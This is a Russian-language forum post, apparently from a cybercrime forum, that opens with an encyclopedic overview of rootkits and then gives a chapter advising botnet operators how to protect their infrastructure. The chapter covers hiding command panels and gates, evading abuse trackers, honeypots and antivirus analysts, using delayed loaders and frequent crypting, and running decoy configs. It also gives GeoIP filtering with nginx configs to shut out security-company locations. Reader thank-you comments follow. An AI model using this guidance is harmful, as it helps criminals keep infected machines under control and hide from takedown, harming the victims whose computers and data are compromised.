Термин Rootkit исторически пришёл из мира UNIX, и под этим термином понимается набор утилит или специальный модуль ядра, которые взломщик устанавливает на взломанной им компьютерной системе сразу после получения прав суперпользователя. Этот набор, как правило, включает в себя разнообразные утилиты для «заметания следов» вторжения в систему, делает незаметными снифферы, сканеры, кейлоггеры, троянские программы, замещающие основные утилиты UNIX (в случае неядерного руткита). Rootkit позволяет взломщику закрепиться во взломанной системе и скрыть следы своей деятельности путём сокрытия файлов, процессов, а также самого присутствия руткита в системе.



Содержание

1. Классификация руткитов

2. Основные методы реализации

2.1. В Microsoft Windows

2.2. В UNIX

3. Дополнительные возможности

4. Легальные руткиты

5. Антируткит


Классификация руткитов

  • По уровню привилегий
    • Уровня пользователя (user-mode)
    • Уровня ядра (kernel-mode)
  • По принципу действия
    • изменяющие алгоритмы выполнения системных функций (Modify execution path)
    • изменяющие системные структуры данных (Direct kernel object manipulation)


Основные методы реализации

В Microsoft Windows

В Windows из-за Windows File Protection переписывание системных файлов затруднено, поэтому основные способы внедрения в систему — модификация памяти:

  • Перехват системных функций Windows API (API hooking) на уровне пользователя;
  • то же на уровне ядра (перехват Native API);
  • изменение системных структур данных;
  • модификация MBR и загрузка до ядра операционной системы — буткиты (например, BackDoor.MaosBoot).
Данный вид вредоносных кодов в среде Windows известен с начала 1990-х годов под названием стелс-вирусов.



В UNIX

  • реализуемые подменой основных системных утилит (очень легко обнаруживаются средствами контроля целостности, кроме того, легко блокируются средствами типа SELinux (RedHat) и AppArmor (SUSE));
  • реализованные в виде модуля ядра и основанные на патчинге VFS или перехвате таблицы системных вызовов (sys_call_table);
  • основанные на модификации физической памяти ядра.


Дополнительные возможности

Кроме непосредственно себя руткит, как правило, может маскировать присутствие в системе любых описанных в его конфигурации каталогов и файлов на диске, ключей в реестре. По этой причине естественным образом появились «навесные» руткитные библиотеки. Многие руткиты устанавливают в систему свои драйверы и службы (они, естественно, также являются «невидимыми»).



Легальные руткиты

Руткиты могут «подкидывать» не только злоумышленники. Небезызвестен случай, когда корпорация Sony встраивала подобие руткита в свои лицензионные аудиодиски. Руткитами по сути является большинство программных средств защиты от копирования (и средств обхода этих защит — например, эмуляторы CD и DVD приводов). От «нелегальных» они отличаются только тем, что ставятся с ведома пользователя.



Антируткиты

Это утилиты или резидентные модули, обнаруживающие в системе присутствие руткитов и (в разной мере) удаляющие их. Существует множество конкурирующих средств для этого — как платных, так и бесплатных, но все они используют сходные принципы действия:



Поиск расхождений

Против MEP-руткитов. Одна и та же информация получается несколькими способами с использованием API и «напрямую» и ищутся расхождения. В частности, обычно сканируются таблицы импорта, таблица Native API, файловая система.



26. Как защитить ботнет



Сегодня мы рассмотрим очень важный аспект в нашей работе, который всегда остается за кадром и постараемся раскрыть эту тему, в виду ее актуальности в последние несколько лет. В наше время, мы видим что защита ботнета ложится на плечи организатора всей инфраструктуры , однако же этому моменту не всегда уделяется должное внимание и в результате мы получаем в лучшем случае попадание в трекеры, а в худшем - слив логов доступа с сервера, с дальнейшими последствиями. Данная статья будет полезна как новичкам, которые только собираются правильно организовывать свой собственный ботнет, так и опытным камрадам. Мы рассмотрим основные методы по защите вашей инфраструктуры от: блогеров, трекеров, хакеров, реверсеров, ханипотов и прочих недугов новой эпохи smile.gif Будут рассмотрены универсальные методы защиты, применимые ко многим продуктам.

Для начала давайте определимся, кто наши потенциальные враги и как мы будем охранять наши посевы от желающих посягнуть на них!



Содержание

1. Взломщик ботнетов

2. Вирусные аналитики и реверсеры

3. Трекеры

4. Блогеры

5. Волшебная таблетка

6. И еще несколько советов


Взломщики ботнетов

Не секрет, что большинство продуктов на рынке spyware, содержат различные уязвимости как в гейтах, так и в админках. Поэтому лакомый кусочек для хакера, является оставленные дефлотовые настройки (стандартные пароли, названия скриптов).


Особенно, если вы пользуетесь нелицензионным spyware и скачали его с паблик форума(скорее всего, в нем будут бекдоры), либо купили продукт у третьих лиц.

Избегайте стандартных названий папок и скриптов, таких как config.php, admin.php, gate.php, /cp/, /citadel/ и т.п


Обычно ваш хост подвергается поиску сканером директорий, а в него как раз загружены такие стандартные названия. Не забывайте удалять файлы типа test.php, info.php с phpinfo() информацией, а также скрипты установок в директориях /install/, install.php



Рекомендация №1: Всегда ставьте на важные скрипты (админка, гейт, директория с троем) нестандартные имена типа /j25zdAF/ и j2nwdgasFSf.php

Второй момент, недавно был произведена идентификация владельцов ботнета Koobface, а все благодаря глупому человеческому фактору, ребята просто забыли удалить публичную статистику посещений Webalizer с веб-сервера, а ведь на этом погорело не один десяток хостов.


Потому что если сервер настраивали на скорую руку, ставили туда стандартную панель управления типа cPanel, с большой вероятностью к каждому новому добавленому домену через панель, имеется открытая статистика логов, доступная с веюа. В ней видно все: пути обращения, IP-адреса, время, геолокация и т.п



Рекомендация 2: Убедитесь что на вашем сервере отсутствует статистика посещений Webalizer, а также логи доступа Apache: error_log & access_log в веб-директории (а лучше убирать их полностью).

Если вы следовали данным рекомендациям, это еще не значит что вы защищены от взлома, поскольку ваш ехе-файл, скорее всего содержит необходимые пути до гейта и конфигов, значит их можно вытащить любим сниффером трафика, например Proxifier или HTTP Debugger Pro.


Предположим, что какой-нибудь блоггер опубликует ваши пути до веб-файлов, это представляет из себя особую опасность, поскольку существуют целые группы умельцев, которые следят за свежими блог-постами, в надежде сорвать куш и захватить ваших ботов горячими.


Здесь играет на руку такой фактор, как наличие уязвимостей в гейтах, очень часто бывало так, что атакующий инфицирует себя ехе-файлом, прикидывается ботом и дешифровывая конфиг, понимая что и куда идет: он может запросто залить php-шелл через upload отчетов (сертификаты, видео, рез-тат граббинга) в директорию, если здесь есть баг или выставлены неправильно права. Даже если у вас стоит фильтрация на расширение загружаемых файлов, он может закачать к примеру cert.crt с кодом php-шелла и через уязвимость класса local include php и перехватить доступ на ваш сервер.



Рекомендация 3: Не ставьте chmod 777,666 и другие виды "доступных" прав просто так направо и налево, если вам нужно установить админку, поставили - установили - вернули права. Всегда возвращайте права у файлов назад на 644, у директорий на 755.


Любые доступные права, позволяют атакующему в случае проникновения, записать бекдоры в такие файлы и папки

Следущий очень важный момент: в любом качественном продукте, содержится возможность указания резервных доменов, на случай недоступности основного. Если ваш софт не обладает достаточным шифрованием конфига, его можно расшифровать любыми средствами, например ZeusDecrypter'ом для Zeus.


Там будет весь список этих доменов, многие наши коллеги, указывают в качестве резервных хостов незарегистрированные доменные имена. Атакующий быстренько DDoS'ит ваш основной хост и регистрирует резервный домен, переманивая всех ваших ботов на свой хост.



Рекомендация 4: Всегда выставляйте пишующие права доступа только на нужные файлы, после установки скриптов возвращайте их назад. Никогда не указывайте в качестве резервных зон незарегистрированные доменные имена.


Еще большую опасность представляют сторонние скрипты и админки инжектов, устанавливаемые на этот хост. Админку продукта тщательно проверяют разработчики, а вот с инжектами все обстоит иначе, кодеры обычно заинтересованы больше в работоспособности инжекта, и поэтому вопросы безопасности отправляются на второй план. Например, часто инжекты содержат возможность заливки сертификата холдера на ваш хост, убедитесь что скрипт достаточно защищен от закачивания посторонних файлов. Или же, один раз, я был свидетелем как бекдор содержался в безобидном скрипте отправки данных на Jabber (Библиотека XMPP PHP), потому что скачивался он с какого-то хак форума.



Рекомендация 5: Не ставьте скрипты инжектов/лоадера/эксплойтов на тот же хост и аккаунт в системе, что и ваш ботнет, разграничвайте права доступа. Скачивайте библиотеки с официальных сайтов разработчиков. Создавайте много аккаунтов на сервере, для каждого определяйте свои задачи.


На очереди остаются скачиваемые крякнутые версии троев и модифицированых админок с паблик форумов, бывает так, что авторами публикаций движет не желание поделиться чем-то с народом, а жажда наживы, при этом игра идет на халяве как обычно. Скорее всего, такие скрипты содержат скрытые бекдоры, которые отсылают авторам данные вашей админки и предоставляют открытый доступ туда через скрытые функции. Такие бекдоры обычно прячут в функции base64_encode() и eval(), но все варианты не предусмотришь, поэтому без знаний в области программирования, вряд ли вы сможете найти такое место.



Рекомендация 6: Покупайте только лицензионные продукты у авторов, не ведитесь на халяву и низкую цену у третьих лиц. От этого проиграете только вы сами, единственное для чего может потребоваться использование таких версий - это для личного ознакомления, но никак не для использования с целью получения профита.


Встречались и такие случаи, когда человек обращается к какой-нибудь малоизвестной личности за услугами криптовки ехе-файлов, и в результате получает свой файл, но с сюрпризом: к основному файлу был приджойнен дополнительный ехе-файл, который грузил дополнительно подмену выдачи криптера.



Рекомендация 7: Пользуйтесь услугами зарекомендовавших себя людей в сфере криптовки файлов.



Вирусные аналитики и реверсеры

Как нам известно, любые антивирусные конторы зарабатывают благодаря нам, поэтому наши пути обречены на вечную инь-янь

Это может быть сделано как автоматическим путем (пример таких коллекторов: threatexpert.com), так и вручную (например, блог xylibox.blogspot.com)

Любая компания имеет Malware Research отдел, которая анализирует интересные зверьки и вытаскивает из них как можно больше информации.

Получают образцы они различными путями, их очень много, поэтому стоит заострить внимание лишь на основных.


Когда вы устанавливаете антивирус или фаерволл, при установке запрашивается "Принять частие в ESET Community" (например).

Это и есть коллекторы антивирусных компаний, куда поступают все образцы подозрительных файлов. Это может быть как осознанно, когда пользователь самостоятельно отправляет подозрительных ехе-файл, либо сам антивирус выявляет подозрительные файлы и отправляет их автоматически.


Также, по сети часто блуждают honeypot'ы (Задача Honeypot — подвергнуться атаке или несанкционированному исследованию, что впоследствии позволит изучить стратегию злоумышленника и определить перечень средств, с помощью которых могут быть нанесены удары по реально существующим объектам безопасности. Реализация Honeypot может представлять собой как специальный выделенный сервер, так и один сетевой сервис, задача которого — привлечь внимание взломщиков.)


Чаще всего, honeypot маскируется под уязвимого пользователя и блуждает в поисках ифреймов на сайтах, чтобы найти эксплойт и произвести детальный анализ что он грузит и какие эксплойты в нем содержатся.

Важно заблокировать список различных аналитических контор, а также коллекторов honeypot, которые угрожают попаданию вашего ехе-файла в различные трекеры с подробной информацией.


Причем, если делать это через стандартную блокировку hosts, вы только спалите ваш билд проактивной защитой антивируса. Проверьте, есть ли продвинутые DNS-перехваты в вашем трое. Подготовьте большой список подобных контор для блокировки.



Рекомендация 8: Не распространяйте по e-mail рассылкам напрямую ваш ехе-файл, используйте лоадеры с большими таймаутами (от 1 часа до 2 дней) до скачивания основного файла и промежуточные хосты между вашим ботнетом и ехе-файлом. Иначе риск попадания в коллекторы очень велик, TOP3 канала размножения по палевности:


1. e-mail рассылки

2. torrents

3. саморазмножение(флешки, дозапись секций в ехе-файлы)


Старайтесь прибегать к этим способам распространения, если вы уверены в продуманности схематичности вашей инфраструктуры. Не вешайте на 1 IP-адрес много доменов(например домен с лоадером и троем).



Рекомендация 9: Чем чаще вы криптуете файл, тем больше вы чувствуете себя рыбой в воде. Не экономьте на крипте. Автоматизируйте рутиную работу автоматическими скриптами криптовки, интегрироваными с API различных сервисов.



Трекеры

С появлением таких ресурсов как abuse.ch, каждый день может стать последним в жизни вашего ботнета и какого-то количества ваших нервов.

Вопрос волнующий всех: что делать? как спрятать свой трой от трекера?


Давайте для начала определимся, чем мешают нам эти трекеры. Если вы попали в трекер, то жить вашему ботнету осталось немного, потому что количество и качество абуз поступающих от различных компаний, таких как SpamHaus, RSA.. превышает все полномочия абузоустойчивых хостингов. Придется менять домен или IP-адрес, или перехитрить всю систему....


Если мы внимательно посмотрим, что же включают в себя отчеты в трекеры, то увидим что обычно там пишут пути до:

a) ехе файл билда

б) конфиг-файл

в) урл-гейт

г) возможно админка


Информация, скорее всего, выдирается автоматическим путем из подопытного образца.


Самый простой, но в тоже время эффективный способ избежать попадания, это использовать дополнительную защиту, которая будет избегать прямых ссылок до файлов. Основывать структуру нужно на нескольких ступенях:

1) Промежуточный скрипт-авторизации, который отличает настоящих ботов от прямых заходов (проверка HTTP_REFERER, BOT_ID, авторизационных ключей, вшитых в билдер) и решает отдавать файлы или нет.

2) Поскольку у нас идет прямое взаимодействие с гейтом, неплохо бы сделать промежуточный скрипт, который можно вшить в билд вместо гейта и использовать как звено между реальным гейтом и промежуткочным хостом. Иначе говоря, это будет скрипт проброса данных на реальный гейт.

3) Использовать нестандартное шифрование клиент-сервер.


Таким образом, если мы даже попадаем в трекер, наш реальный хост остается в недосягаемости, поскольку будет палиться промежуточный узел, которым может выступать любой ftp-аккаунт.

В идеале, чтобы запутать трекер, можно выдавать совершенно посторонний конфиг + ехе файл, который уведет следы совершенно на другой сервер.


Рекомендация 10: Всегда делайте несколько билдов, на разные промежуточные хосты. Если упадет 1 - будут жить все остальные. Распределяйте риски правильно. Убедитесь, что ваш софт способен правильно реагировать на трекеры.



Блогеры

Подобных персон интересуют внутренности вашего ботнета: что вы грузите, как вы грузите и для чего все это. Обычно, они публикуют исследования по внутренностям, но их интерес непосредственно в статистике, а значит они хотят пробраться в админку любой ценой. Как защитить вашу админку за 5 минут и пойдет дальше речь.


Благодаря тому, что ваш веб-сервер поддерживает файлы .htaccess(файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов. Позволяет задавать большое количество дополнительных параметров и разрешений для работы веб-сервера в отдельных каталогах (папках), таких как управляемый доступ к каталогам, переназначение типов файлов и т.д.), вы без труда сможете гибко защитить вашу админку от взломщиков, поставив дополнительную авторизацию на вход, либо ограничив доступ по IP-адресу.


Начнем с простого, поставим дополнительную авторизацию на скрипт веб-админки вашего троя. Для этого зайдем в папку с веб-админкой и создадим там файл с именем ".htaccess" и впишем туда следущее:

<Files adminka.php>

AuthName "Login Zone"

AuthType Basic

AuthUserFile /unix/put/do/saita/.htpasswd

require valid-user

</Files>


adminka.php - название скрипта вашей админки.

AuthUserFile /unix/put/do/saita/.htpasswd - здесь вписываем путь до будущего файла, НЕ КЛАДИТЕ ЕГО в папку public_html, пусть он лежит чуть выше этой папки.

Путь до сайта можно узнать, создав файл infogetphp.php с содержимым: <? phpinfo(); ?>


Теперь создадим файл .htpasswd в директории, которую мы указали выше в AuthUserFile, для этого зайдем по адресу

и впишем там желаемые логин-пароль. Получим что-то вроде "aa:$apr1$KGVmuy2N$z.bjadhDH7Nz7eZGuL5CD/" эту строчку мы и сохраняем в файле .htpasswd (без кавычек).

Все, авторизация поставлена. Теперь у нас 2 пароля, чтобы зайти в админку: если даже атакующий, благодаря SQL-инъекции,получил пароль из админки, то вторая авторизация будет для него большой преградой.


Если ты хочешь, чтобы веб-админка открывалась только с 1 IP-адреса (разумеется, это должен быть IP VPN'A или Socks'a), то вписываем такое содержание файла .htaccess:

Order Deny,Allow

Deny from all

Allow from 111.111.111.111

111.111.111.111 - твой IP-aдрес.


Рис 1. Дополнительная авторизация при входе в админку.


Также, если у вас имеются директории, куда идет загружаемый контент с ботов (результаты видеограббинга, сертификатов и т.п) зайдем в эту директорию и создадим там файл .htaccess

К примеру, в зевсе, это папка _reports (необходимо также ее обязательно переименовать при установке!))

Впишем туда следущее:

php_flag engine 0


Эта директива в файле отключает выполнение любых php скриптов в директории, поэтому если вам уже закачали какой-то шелл, это будет уже не так страшно.

Если вы хотите запретить прямой доступ из веба к какой-нибудь папке, создайте .htaccess в нужной директории с таким содержанием:

Order Deny, Allow

Deny from All



Волшебная таблетка

За всю практику работы с троями и абузами, нами был найден один самый эффективный и малозатратный способ, который позволяет избежать попадания в трекеры, минимизировать абузы до круглой цифры 0 и в целом спать спокойно. Этот способ называется GeoIP-фильтеринг.

Что он из себя представляет? Тут как обычно все самое гениальное - просто! Предположим что вы работаете по великой стране Зимбабве и вам интересны только боты с этого уголка нашей планеты, такие мусорные страны как Китай, Уругвай и прочие страны Африки нам не нужны и являются пустым балластом. Теперь, задумайтесь... Если включить какой-то механизм на сервере, который бы пускал только IP-диапазон адресов только с Зимбабве, а остальным странам выдавал ошибку 404/левые конфиги или же редиректил на другие хосты, выиграли бы вы в этой позиции? Еще как! Чем меньше страна, по которой вы работаете - тем меньше абуз будет, если вообще будут таковые. Если же вы работаете в недрах сердца капитализма, то имеет смысл допускать только определенные штаты.

Мой небольшой совет: нагуглите адреса офисов многих AV-контор и смело блокируйте эти города smile.gif

Теперь по поводу технической реализации, здесь можно внедрять механизм на нескольких уровнях по выбору.

1) Уровень скриптов: делаем проверку по GeoIP модулю (от MaxMind например) и решаем выдавать что-то от сервера или нет.

2) Уровень DNS: самый мощный фактор, здесь нужна тонкая настройка BIND-демона на сервере.

3) Уровень веб-сервера: Идеальная связка мне попадалась на глаза это apache + nginx (с GeoIP модулем). Все настройки идут в nginx.conf, где вы указываете нужные страны, которые допускать, а которым выдавать ошибку 404.


Для установки нам потребуется Nginx (на примере CentOS 5.7), GeoIP и репозиторий, из которого мы все это будем ставить. Я использовал epel. Добавляем репозиторий:

1# wget

2# rpm -ihv epel-release-5-4.noarch.rpm


Устанавливаем Nginx и GeoIP:

3# yum install nginx GeoIP


На всякий случай, обновим базы данных GeoIP:

4# cd /usr/share/GeoIP

5# wget

6# gunzip GeoIP.dat.gz

7# wget

8# gunzip GeoLiteCity.dat.gz


В конфигурационном файле Nginx, /etc/nginx/nginx.conf в секцию http добавим код:

geoip_country /usr/share/GeoIP/GeoIP.dat;

map $geoip_country_code $bad_country {

default 1;

include geo/good_countries;

}


Мы подключили файл GeoIP.dat и определили переменную $bad_country, указав так же файл, good_countries в котором будем указывать страны, доступ из которых разрешен. Далее, в интересующий нас location, например / добавим условие блокировки пользователя:

location / {

proxy_pass

proxy_redirect /;

proxy_set_header Host $host;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_set_header X-Real-IP $remote_addr;

if ($bad_country){

return 404;

}

}


Где 192.168.1.1 - это IP Вашего сайта. Наполняем файл geo/good_countries. Поскольку мы используем переменную $geoip_country_code, то коды стран должны быть представлены в виде двухбуквенных аббревиатур. Например, для Великобритании код будет UK. В файле good_countries список стран должен быть соответствующим образом оформлен:

RU 0;

UA 0;

US 0;


Рис2. Пример nginx.conf с модулем GeoIP.


Ноль и точка с запятой обязательны. Готовый файл good_countries Вы можете скачать здесь# sendspace.com/file/zomj2f.

Полный список кодов стран доступен на сайте разработчиков GeoIP MaxMind.

После изменения настроек nginx, не забываем перезагружать nginx:

# /etc/init.d/nginx reload


Вот и все. Просто удалите неугодную страну из файла good_countries или добавьте в него нужную страну, чтобы разрешить доступ.

Если вы не понимаете как это проделать на вашем сервере, или же сомневаетесь что справитесь, то не экономьте на администратировании вашего сервера! Наймите грамотного специалиста сис.админа, желательно в специализацию которого входит отказоустойчивость и высоконагружаемые проекты. Стоимость таких месячных услуг по администратированию в среднем составляет $100-$300, привлекайте грамотных специалистов в ваши проекты, они могут быть полезны в любую минуту.


И еще несколько советов на последок

1) Не указвайте одни и те же e-mail адреса и персональную информацию при регистрации доменов. Будет легко нагуглить все ваши домены по 1 емейлу или адресу. Используйте сервисы типа

2) Не пользуйтесь паблик-сервисами проверки файлов на антивирусы, например virustotal.com. Все образцы отправляются сразу же в AV-конторы.

3) Никогда ничего не создавайте с root-привелегий, пользуйтесь выделеными лимитироваными аккаунтами в системе на сервере. Используйте ftp, вместо ssh.

4) Если вас все же взломали, полностью удаляйте аккаунт в системе и заново создавайте с чистого листа. Если есть подозрения на взлом целого сервера - форматируйте ОС и заново ставьте, rootkit-hunter'ы вряд ли вам помогут. Также, ищите посторонние скрипты и файлы в местах, где имеются "доступные" права (chmod 777, 666) и удаляйте их, после чего закрывайте права на запись и анализируйте access_log веб-сервера.


Желаем всем продуктивной и безопасной работы!

В следущих выпусках статей, мы рассмотрим оптимизацию и быстродействие ботнета, а также основы автоматизации ряда рутиных процессов.
 
Если вы планируете сделку с его участием, мы настоятельно рекомендуем вам не совершать ее до окончания блокировки. Если пользователь уже обманул вас каким-либо образом, пожалуйста, пишите в арбитраж, чтобы мы могли решить проблему как можно скорее.
Интересовало все до 18-19 главы, спасибо!
P.s. Очень много букав =С
 
  • Нравится
Реакции: Djon
Все очень интересно!) автору респект за старания
 
Big thanks!!!
 
Сверху Снизу